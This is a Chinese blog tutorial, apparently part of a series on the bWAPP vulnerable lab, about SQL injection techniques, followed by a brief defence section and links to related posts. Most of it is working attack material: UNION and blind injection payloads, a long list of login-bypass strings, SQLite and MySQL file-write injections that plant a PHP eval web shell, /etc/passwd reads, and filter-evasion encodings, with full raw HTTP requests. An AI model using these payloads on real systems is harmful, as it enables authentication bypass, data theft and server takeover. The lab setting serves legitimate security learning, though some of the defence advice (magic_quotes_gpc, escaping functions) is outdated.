背景



模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧。并研究下PHP的防御代码。

普通的bWAPPSQL注入的简单介绍



从get型search到CAPTCHA


简单级

#search
http://192.168.195.195/bWAPP/sqli_1.php?title=c%%27union%20select%201,2,3,version(),database(),6,%27&action=search
#select类
http://192.168.195.195/bWAPP/sqli_2.php?movie=-1%20union%20select%201,2,3,version(),database(),6,7



Login类--万能密码


#密码一栏填写
a' or '1'='1
#同理,账号一栏也可以随意,万能密码常用paylaod,列表
#asp与aspx
"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
#PHP万能密码
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
#jsp 万能密码
1'or'1'='1
admin' or 1=1/*

sqlite注入


语句稍有不同,但也没什么区别

#注释符号用/**/
http://192.168.195.195/bWAPP/sqli_11.php?title=c%%27%20union%20select%201,2,%27sql%20injection%27,sqlite_version(),5,6/*&action=search

#可以写文件拿shell
#payload
select * from test where id =1 ;ATTACH DATABASE 'C:\\Sqlite\\xiaozi.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> '); --
#数据包
POST /bWAPP/sqli_12.php HTTP/1.1
Host: 192.168.195.195
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.195.195/bWAPP/sqli_12.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 209
Connection: close
Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668
Upgrade-Insecure-Requests: 1 entry=4',sqlite_version());ATTACH DATABASE '/var/www/bWAPP/1.php' AS pwn113 ; CREATE TABLE pwn113.exp (dataz text) ; INSERT INTO pwn113.exp (dataz) VALUES ('<?php @eval($_POST["cdjj"]);?>');-- ' &entry_add=add







类似的还有MySQL写文件获取的shell

# <?php @eval($_POST["cdjj"]);?>
select 0x3c3f70687020406576616c28245f504f53545b2263646a6a225d293b3f3e into outfile '/xxx/shell.php'

插入注入


在sqlite写文件那个中需要插入注入或者非query注入才行,因为一个是PHP执行的exec函数,一个是执行的query函数,后者只运行select语句。Insert语句注入没有什么特殊的,本质是拼接insert语句而不是拼接select语句,注入的东西插入数据,在页面上回显出来可以看到。

POST /bWAPP/sqli_7.php HTTP/1.1
Host: 192.168.195.195
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.195.195/bWAPP/sqli_7.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Connection: close
Cookie: security_level=0; PHPSESSID=feae3419ffc4c0c29111d74fe65e4668
Upgrade-Insecure-Requests: 1 entry=1',(select/**/if(substring(@@version,1,1)=5,LOAD_FILE('/etc/passwd'),'NO'))); #&blog=add

LOAD_FILE('/etc/passwd') #MySQL读文件

有些HTTP Header头字段也可以注入

盲注


#布尔型,这里可以用 >  <  between做二分判断,between也可以用来绕过< >过滤
IF(substring(database(),1,1)=b,'YES','NO')
#时间型
' and if(1=0,1, sleep(10)) --+     " and if(1=0,1, sleep(10)) --+ ) and if(1=0,1, sleep(10)) --+ ') and if(1=0,1, sleep(10)) --+ ") and if(1=0,1, sleep(10)) --+
#postgresql
pg_sleep(5)

编码和绕过



大小写绕过关键字检测


select->sELeCt

加分隔符绕过


select->sEL/**/eCt

空格转分隔符绕过或者括号绕过


union select->union/**/select

where 1=1->where(1=1)

URL转码


#->%23

十六进制编码绕过引号过滤(hex)


'users'->0x7573657273

char编码绕过(ascii)


Test->CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

宽字节和双重编码


%xx%xx->(%xx%xx)%xx->括号中成为宽字节

双重编码%2527->第一次解码成为%27(因为%25URL解码就是%)->二次解码%27->'(单引号)

防御



函数防御


  • 最好的选择:mysql_real_escape_string()
  • 一般的选择:addslashes()

配置防御:


  • 配置php.ini magic_quotes_gpc=On

PDO和预编译


  • 先执行mysql连接对象的prepare函数准备sql语句的雏形,然后执行bind_param函数填充用户输入的数据。
  • 使用PDO,先prepare,然后使用bindValue函数,与前者类似。

跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧的更多相关文章

  1. 跟bWAPP学WEB安全(PHP代码)--XPath注入

    XML/Xpath注入 看了下,A2里面是认证与会话管理的破坏或称之为绕过,没有特别要写的,很多就是小问题,可能会将这类问题放在最后写一下.一篇博客,这里还是更多的着重在能够获取信息或者服务器权限的漏 ...

  2. 跟bWAPP学WEB安全(PHP代码)--HTML注入和iFrame注入

    背景 这里讲解HTML注入和iFrame注入,其他的本质都是HTML的改变.那么有人会问,XSS与HTML注入有啥区别呢?其实本质上都是没有区别的,改变前端代码,来攻击客户端,但是XSS可以理解为注入 ...

  3. 跟bWAPP学WEB安全(PHP代码)--认证绕过与会话管理

    背景 这里主要是代码逻辑问题,而不是代码使用函数的问题,因此在这个里面就不粘贴具体代码了,而是分类介绍下bWAPP中涉及的安全问题: 验证码问题 找回问题 账号口令问题 Cookies问题 Sessi ...

  4. 跟bWAPP学WEB安全(PHP代码)--邮件头和LDAP注入

    背景 由于时间限制和这俩漏洞也不是特别常用,在这里就不搭建环境了,我们从注入原来和代码审计的角度来看看. 邮件头注入 注入原理: 这个地方首先要说一下邮件的结构,分为信封(MAIL FROM.RCPT ...

  5. 跟bWAPP学WEB安全(PHP代码)--终结篇:文件目录遍历、文件上传、SSRF、CSRF、XXE、文件包含

    前言 过年过的很不顺,家里领导和我本人接连生病,年前腊月29才都治好出院,大年初六家里的拉布拉多爱犬又因为细小医治无效离开了,没能过年回家,花了好多钱,狗狗还离世了.所以也就没什么心思更新博客.今天初 ...

  6. 跟bWAPP学WEB安全(PHP代码)--OS命令注入

    背景 这是温故知新的一个系列,也是重新拾起WEB安全的一个系列,同时希望能稍微有点对初学者的帮助.第一篇先来讲讲OS命令注入 bWAPP里面有两个页面也就是两个漏洞,来验证OS命令注入.一个是有回显的 ...

  7. 跟bWAPP学WEB安全(PHP代码)--PHP代码注入

    ---恢复内容开始--- 背景 今天我们换一个方式来分析这个漏洞,从渗透的角度去搞. 渗透过程 测试漏洞 先来看看,观察URL是:http://192.168.195.195/bWAPP/phpi.p ...

  8. 跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击

    背景 这个系列有很多题,但是其实考察的相近,类似的就不在多说,我们来看吧.主要分几个点来讲: 反射型 存储型 JSON XM 头部字段相关 分类介绍 反射型 在请求中构造了XSS的Payload,一般 ...

  9. 跟bWAPP学WEB安全(PHP代码)--SSL(Server-Side-Include)漏洞

    什么是Server-Side-Include漏洞 服务端包含漏洞是指发送指令到服务器,服务器会将指令运行完,把运行结果包含在返回文件中发送给你.利用这种漏洞可以获取服务端的信息甚至执行命令,这样的指令 ...

随机推荐

  1. TensoFlow的tf.reshape()

    tf.reshape(tensor,shape,name=None) 函数的作用是将tensor变换为参数shape形式,其中的shape为一个列表形式,特殊的是列表可以实现逆序的遍历,即list(- ...

  2. Launchpad图标大小怎么调整?

    一.首先运行“终端”程序,执行以下命令: 1.调整每一列显示图标数量,7 表示每一列显示7个 defaults write com.apple.dock springboard-rows -int 7 ...

  3. SVN中图标符号的含义

    黄色感叹号(有冲突): 这是有冲突了,冲突就是说你对某个文件进行了修改,别人也对这个文件进行了修改,别人抢在你提交之前先提交了,这时你再提交就会被提示发生冲突,而不允许你提交,防止你的提交覆盖了别人的 ...

  4. 谈谈Android中的SurfaceTexture

    2015.7.2更新 由于很多人要代码,我把代码下载链接放在这里了.不过还是要说一下,surfaceTexture和OpenGL ES结合才能发挥出它最大的效果,我这种写法只是我自己的想法,还有很多种 ...

  5. mysql中explain

    1.select_type: /* select_type 使用 SIMPLE */explain select * from tb_shop_order where id='201603292570 ...

  6. Eclipse中项目全部报错----项目全部打红叉的解决办法

    今天遇到一个超级郁闷的事情,Eclipse新建的项目全部都打有红叉,我起初以为自 己可能是因为这两天一直在配置NDK开发环境方面的东西,是不是一不小心把那个地方给配置了,然后新建项目时项目都会出现红叉 ...

  7. webApi2 上传大文件代码

    上传大文件,取消内存缓存: GlobalConfiguration.Configuration.Services.Replace(typeof(IHostBufferPolicySelector), ...

  8. 【剑指Offer学习】【面试题23:从上往下打印二叉树】

    题目:从上往下打印出二叉树的每一个结点,同一层的结点依照从左向右的顺序打印. 二叉树结点的定义: public static class BinaryTreeNode { int value; Bin ...

  9. Win10 虚拟桌面

    我们可以建立多个桌面,各个桌面上运行的窗口任务互不干扰,这就是虚拟桌面 创建虚拟桌面:Win + Ctrl + D查看虚拟桌面:Win + Tab删除当前虚拟桌面:Win + Ctrl + F4切换到 ...

  10. 判断App整体处于前台还是后台

    1.通过RunningTaskInfo类判断(需要额外权限): 复制代码代码如下: /** *判断当前应用程序处于前台还是后台 */ public static boolean isApplicati ...